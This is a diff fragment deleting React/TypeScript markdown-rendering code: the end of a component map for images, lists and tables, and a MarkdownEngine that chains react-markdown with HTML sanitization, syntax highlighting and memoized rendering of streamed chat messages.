- // is no safe default this library can pick), so it is deliberately absent
281
- // rather than shipped unwired.
282
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
283
- img: ({ src, alt }: any) => {
284
- if (!hasRenderableSrc(src)) return null;
285
- return (
286
- <Image
287
- src={src}
288
- alt={alt ?? 'No image available'}
289
- width={400}
290
- height={400}
291
- sizes="(max-width: 400px) 100vw, 400px"
292
- className="max-w-full max-h-[400px] w-auto h-auto rounded-lg object-contain"
293
- style={{ width: 'auto', height: 'auto' }}
294
- />
295
- );
296
- },
297
-
298
- // --- lists ---
299
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
300
- ul: ({ children }: any) => (
301
- <ul className="list-disc list-outside my-4 ml-8 space-y-2 text-ods-text-primary">{children}</ul>
302
- ),
303
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
304
- ol: ({ children }: any) => (
305
- <ol className="list-decimal list-outside my-4 ml-8 space-y-2 text-ods-text-primary">{children}</ol>
306
- ),
307
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
308
- li: ({ children }: any) => (
309
- <li className={cn('leading-relaxed pl-2', textSizes.li)}>{children}</li>
310
- ),
311
-
312
- // --- tables ---
313
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
314
- table: ({ children }: any) => (
315
- <div className="table-container my-6 overflow-x-auto">
316
- <div className="min-w-full border rounded-lg border-ods-border bg-ods-card">
317
- <table className="w-full table-fixed md:table-auto">{children}</table>
318
- </div>
319
- </div>
320
- ),
321
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
322
- thead: ({ children }: any) => (
323
- <thead className="bg-ods-bg-surface">{children}</thead>
324
- ),
325
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
326
- th: ({ children }: any) => (
327
- <th className={cn('px-2 md:px-4 py-3 text-left font-semibold text-ods-accent border-r last:border-r-0 break-words border-ods-border', textSizes.th)}>
328
- {children}
329
- </th>
330
- ),
331
- // eslint-disable-next-line @typescript-eslint/no-explicit-any
332
- td: ({ children }: any) => (
333
- <td className={cn('px-2 md:px-4 py-3 border-r last:border-r-0 border-b break-words whitespace-normal text-ods-text-primary border-ods-border', textSizes.td)}>
334
- {children}
335
- </td>
336
- ),
337
-
338
- // --- horizontal rule ---
339
- hr: () => <hr className="border-0 border-t my-8 border-ods-border" />,
340
- };
341
- }
@@ -1,315 +0,0 @@
1
- "use client";
2
-
3
- /**
4
- * MarkdownEngine — THE one react-markdown pipeline for every surface
5
- * (chat messages, blog, docs, KB articles, legal, releases, admin previews).
6
- *
7
- * `SimpleMarkdownRenderer` and `RichMarkdownRenderer` are thin compositions
8
- * over this engine (see ./simple-markdown-renderer.tsx and ./rich/) — there
9
- * is exactly ONE parse path, ONE sanitizer stack, ONE mermaid, ONE
10
- * heading-id algorithm, ONE link-click model. Do not fork this pipeline;
11
- * extend via `componentOverrides` / `additionalRemarkPlugins` /
12
- * `preprocessContent` / `extraAllowedHtmlTags`.
13
- *
14
- * Pipeline order (each stage documented in ./sanitize.ts):
15
- * preprocessContent (composition hook, e.g. shortcodes)
16
- * → completeStreamingTail (streaming only — MUST precede the escape pass)
17
- * → escapeUnknownHtmlTags (text pre-pass, React 19 crash guard)
18
- * → remark: remarkGfm, remarkBreaks, ...additionalRemarkPlugins
19
- * → rehype: rehypeRaw → rehypeSanitize(schema) → rehypeStripUnsafe
20
- * → rehypeHighlight
21
- * → urlTransform: cardAwareUrlTransform
22
- * → components: buildBaseComponents(...) spread-last componentOverrides
23
- */
24
- import React, { memo, useMemo } from 'react';
25
- import ReactMarkdown, { type Components } from 'react-markdown';
26
- import type { PluggableList } from 'unified';
27
- import remarkGfm from 'remark-gfm';
28
- import remarkBreaks from 'remark-breaks';
29
- import rehypeHighlight from 'rehype-highlight';
30
- import rehypeRaw from 'rehype-raw';
31
- import rehypeSanitize from 'rehype-sanitize';
32
- import type { ResolveLinkResult } from '../../../types/doc-source';
33
- import {
34
- buildEffectiveTagSet,
35
- buildSanitizeSchema,
36
- cardAwareUrlTransform,
37
- escapeUnknownHtmlTags,
38
- rehypeStripUnsafe,
39
- } from './sanitize';
40
- import { resolveTextSizeConfig, type TextSizeConfig } from './text-size';
41
- import {
42
- HeadingIdMapContext,
43
- HeadingLineOffsetContext,
44
- useHeadingIdMap,
45
- type HeadingSection,
46
- } from './heading-ids';
47
- import { buildBaseComponents } from './base-components';
48
- import { completeStreamingTail, splitStreamingBlocks } from './streaming';
49
-
50
- export type { ResolveLinkResult };
51
-
52
- /**
53
- * Module-scope empty default for `brokenLinks`.
54
- *
55
- * A `brokenLinks = []` DEFAULT PARAMETER allocates a fresh array on every
56
- * render, so the `components` useMemo (which lists it as a dep) recomputed
57
- * every render, which changed `StreamingBlockRenderer`'s `components` prop
58
- * identity, which made its `memo` bail EVERY time — every completed block
59
- * re-parsed on every streamed token, defeating the entire atomic-block
60
- * optimization. Any new default that is an object/array/function MUST be
61
- * hoisted here for the same reason.
62
- *
63
- * Exported so the compositions that apply the SAME default before handing
64
- * props down (rich) share this ONE identity instead of declaring a second
65
- * module-scope empty array with a copy of this rationale. Deliberately NOT
66
- * re-exported from ./index — it is an internal identity contract between the
67
- * engine and its compositions, not public API.
68
- */
69
- export const NO_BROKEN_LINKS: readonly string[] = [];
70
-
71
- export interface MarkdownEngineProps {
72
- content: string;
73
- className?: string;
74
- /** Backend-provided heading IDs for deep-link anchors */
75
- sectionIds?: HeadingSection[];
76
- /** When the page already has an H1, render markdown `#` as `<h2>` */
77
- demoteMarkdownH1ToH2?: boolean;
78
- /** List of broken link hrefs detected server-side (shown with [BROKEN] badge) */
79
- brokenLinks?: readonly string[];
80
- /** Callback for internal (non-http, non-anchor) link clicks */
81
- onInternalLinkClick?: (path: string, options?: { expandFolder?: boolean; fromInternalLink?: boolean }) => void;
82
- /** Current documentation path — enables internal-link mode when set */
83
- currentPath?: string;
84
- /** Resolve an internal link href to a navigation path. */
85
- onResolveLink?: (href: string, currentPath: string) => Promise<ResolveLinkResult>;
86
- /** Pre-process the raw markdown string before rendering (e.g. shortcode expansion) */
87
- preprocessContent?: (content: string) => string;
88
- /** Merge additional or override react-markdown component renderers (spread LAST — caller wins) */
89
- componentOverrides?: Partial<Components>;
90
- /** Extra remark plugins appended after the built-in remarkGfm + remarkBreaks */
91
- additionalRemarkPlugins?: PluggableList;
92
- /** Text sizing preset / per-element overrides */
93
- textSize?: TextSizeConfig;
94
- /**
95
- * Extra raw-HTML tags this composition admits. Unioned into BOTH the
96
- * text pre-pass allowlist AND the sanitize schema together (the
97
- * coupled-allowlist invariant — see ./sanitize.ts).
98
- */
99
- extraAllowedHtmlTags?: string[];
100
- /**
101
- * Set true for the actively streaming message ONLY. Enables atomic-block
102
- * memoization + fence tail-completion + an aria-live wrapper. The caller
103
- * MUST flip back to false on completion — that final render is one
104
- * authoritative whole-document parse (block cache discarded), so
105
- * streaming can never permanently diverge from the settled output.
106
- */
107
- streaming?: boolean;
108
- }
109
-
110
- /**
111
- * One memoized completed block of a streaming message. Parent-level memos
112
- * keep every prop except `text` referentially stable, so a completed block
113
- * re-renders only if its own text changes (i.e. the splitter re-cut).
114
- * React key = position index — identical blocks at different positions
115
- * never alias (see ./streaming.ts).
116
- */
117
- const StreamingBlockRenderer = memo(function StreamingBlockRenderer({
118
- text,
119
- remarkPlugins,
120
- rehypePlugins,
121
- components,
122
- }: {
123
- text: string;
124
- remarkPlugins: PluggableList;
125
- rehypePlugins: PluggableList;
126
- components: Components;
127
- }) {
128
- return (
129
- <ReactMarkdown
130
- remarkPlugins={remarkPlugins}
131
- rehypePlugins={rehypePlugins}
132
- urlTransform={cardAwareUrlTransform}
133
- components={components}
134
- >
135
- {text}
136
- </ReactMarkdown>
137
- );
138
- });
139
-
140
- const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
141
- content,
142
- className = '',
143
- sectionIds,
144
- demoteMarkdownH1ToH2 = false,
145
- brokenLinks = NO_BROKEN_LINKS,
146
- onInternalLinkClick,
147
- currentPath,
148
- onResolveLink,
149
- preprocessContent,
150
- componentOverrides,
151
- additionalRemarkPlugins,
152
- textSize,
153
- extraAllowedHtmlTags,
154
- streaming = false,
155
- }) => {
156
- const textSizes = useMemo(() => resolveTextSizeConfig(textSize), [textSize]);
157
-
158
- // Stable identity key for the caller's tag array — a fresh array with the
159
- // same contents must not bust these memos.
160
- const extraTagsKey = extraAllowedHtmlTags?.join('|') ?? '';
161
-
162
- // Effective tag allowlist — shared source for pre-pass AND schema.
163
- // Both memos consume ONLY `extraTagsKey`, so the dep list is honest and
164
- // needs no eslint suppression.
165
- const effectiveTags = useMemo(
166
- () => buildEffectiveTagSet(extraTagsKey ? extraTagsKey.split('|') : undefined),
167
- [extraTagsKey],
168
- );
169
-
170
- const processedContent = useMemo(() => {
171
- const preprocessed = preprocessContent ? preprocessContent(content) : content;
172
- // ORDER IS LOAD-BEARING: complete the streaming tail FIRST, then escape.
173
- //
174
- // Escaping first failed OPEN on the most common streaming shape. During a
175
- // stream every partially-emitted fence is unclosed, and both of the
176
- // pre-pass's fence notions (`PROTECTED_SPAN_RE` for the carve AND the
177
- // mask) only recognize CLOSED fences — so a `</textarea>` inside the
178
- // still-open fence satisfied "is closed later", the prose opener above it
179
- // stayed live, and parse5 swallowed the rest of the message until the
180
- // fence closed (an LLM explaining `<textarea>` then streaming a fenced
181
- // HTML sample hits this exactly). The same ordering also fired the carve's
182
- // documented "unclosed fence body is escaped" tradeoff on EVERY streaming
183
- // frame, so a `<their>` mid-fence rendered as `&lt;their&gt;` until the
184
- // closer arrived.
185
- //
186
- // `completeStreamingTail` only APPENDS a fence delimiter run, so escaping
187
- // afterwards is safe (nothing it adds is escapable).
188
- const completed = streaming ? completeStreamingTail(preprocessed) : preprocessed;
189
- return escapeUnknownHtmlTags(completed, effectiveTags);
190
- }, [preprocessContent, content, effectiveTags, streaming]);
191
-
192
- // Heading ids: derived ONCE from the processed source, never from render
193
- // order. See ./heading-ids.ts for why the old stateful generator was
194
- // unsound under block memoization AND StrictMode.
195
- const headingIds = useHeadingIdMap(processedContent, sectionIds);
196
-
197
- const remarkPlugins = useMemo<PluggableList>(
198
- () => [remarkGfm, remarkBreaks, ...(additionalRemarkPlugins ?? [])],
199
- [additionalRemarkPlugins],
200
- );
201
-
202
- const rehypePlugins = useMemo<PluggableList>(() => {
203
- const schema = buildSanitizeSchema({
204
- extraAllowedHtmlTags: extraTagsKey ? extraTagsKey.split('|') : undefined,
205
- });
206
- return [
207
- // ORDER MATTERS: rehype-raw parses embedded raw HTML into HAST;
208
- // rehypeSanitize is the allow-list boundary; rehypeStripUnsafe is
209
- // defense-in-depth (srcset scanning, iframe[srcdoc]); highlight last.
210
- rehypeRaw,
211
- [rehypeSanitize, schema],
212
- rehypeStripUnsafe,
213
- [rehypeHighlight, { detect: true, ignoreMissing: true }],
214
- ];
215
- }, [extraTagsKey]);
216
-
217
- const components: Components = useMemo(
218
- () => ({
219
- ...buildBaseComponents({
220
- textSizes,
221
- demoteMarkdownH1ToH2,
222
- brokenLinks,
223
- currentPath,
224
- onInternalLinkClick,
225
- onResolveLink,
226
- }),
227
- // Caller overrides spread LAST — chat's card/mention <a> override,
228
- // rich's embed overrides, etc. always win over the base map.
229
- ...componentOverrides,
230
- }),
231
- [
232
- textSizes,
233
- demoteMarkdownH1ToH2,
234
- brokenLinks,
235
- currentPath,
236
- onInternalLinkClick,
237
- onResolveLink,
238
- componentOverrides,
239
- ],
240
- );
241
-
242
- // Streaming block plan (only computed on the streaming path).
243
- const streamingBlocks = useMemo(
244
- () => (streaming ? splitStreamingBlocks(processedContent) : null),
245
- [streaming, processedContent],
246
- );
247
-
248
- const body = streamingBlocks ? (
249
- // aria-live: readers announce coherent appended chunks, not per-token
250
- // spam (polite + additions). Streaming caret/pulse affordances live in
251
- // chat components and honor prefers-reduced-motion there.
252
- <div aria-live="polite" aria-relevant="additions text">
253
- {streamingBlocks.map((block) => (
254
- // Each unit is parsed on its own, so hast positions restart at 1;
255
- // the offset maps them back onto the document-wide heading-id map.
256
- <HeadingLineOffsetContext.Provider key={block.index} value={block.startLine - 1}>
257
- {block.memoizable ? (
258
- <StreamingBlockRenderer
259
- text={block.text}
260
- remarkPlugins={remarkPlugins}
261
- rehypePlugins={rehypePlugins}
262
- components={components}
263
- />
264
- ) : (
265
- <ReactMarkdown
266
- remarkPlugins={remarkPlugins}
267
- rehypePlugins={rehypePlugins}
268
- urlTransform={cardAwareUrlTransform}
269
- components={components}
270
- >
271
- {block.text}
272
- </ReactMarkdown>
273
- )}
274
- </HeadingLineOffsetContext.Provider>
275
- ))}
276
- </div>
277
- ) : (
278
- <ReactMarkdown
279
- remarkPlugins={remarkPlugins}
280
- rehypePlugins={rehypePlugins}
281
- urlTransform={cardAwareUrlTransform}
282
- components={components}
283
- >
284
- {processedContent}
285
- </ReactMarkdown>
286
- );
287
-
288
- return (
289
- <div className={`simple-markdown-renderer ${className}`}>
290
- {/* Mermaid's <style> is rendered by MermaidDiagram itself — one tag
291
- per mounted diagram instead of one per engine instance (i.e. per
292
- chat segment), where the overwhelming majority render no diagram. */}
293
- {/* `overflow-wrap: anywhere` is inherited from `.simple-markdown-renderer`
294
- in app-globals.css — do NOT re-add `break-words` here, it would
295
- override the cascade with the weaker `break-word` for this subtree. */}
296
- <div className="content-wrapper max-w-none">
297
- <article className="prose prose-lg max-w-none">
298
- <HeadingIdMapContext.Provider value={headingIds}>{body}</HeadingIdMapContext.Provider>
299
- </article>
300
- </div>
301
- </div>
302
- );
303
- };
304
-
305
- /**
306
- * Memoized so a parent re-render with UNCHANGED props (same `content`
307
- * string, same memoized `componentOverrides`/plugins) does NOT re-parse the
308
- * markdown. Re-parsing rebuilds the entire react-markdown subtree, which
309
- * RE-MOUNTS any embedded inline entity cards — closing their open menus and
310
- * re-triggering their fetch on every chat re-render (streaming chunk AND
311
- * scroll). With stable props the renderer bails, so completed messages'
312
- * cards stay mounted. The streaming path additionally memoizes completed
313
- * atomic blocks so the in-flight message re-parses only its live tail.
314
- */
315
- export const MarkdownEngine = memo(MarkdownEngineImpl);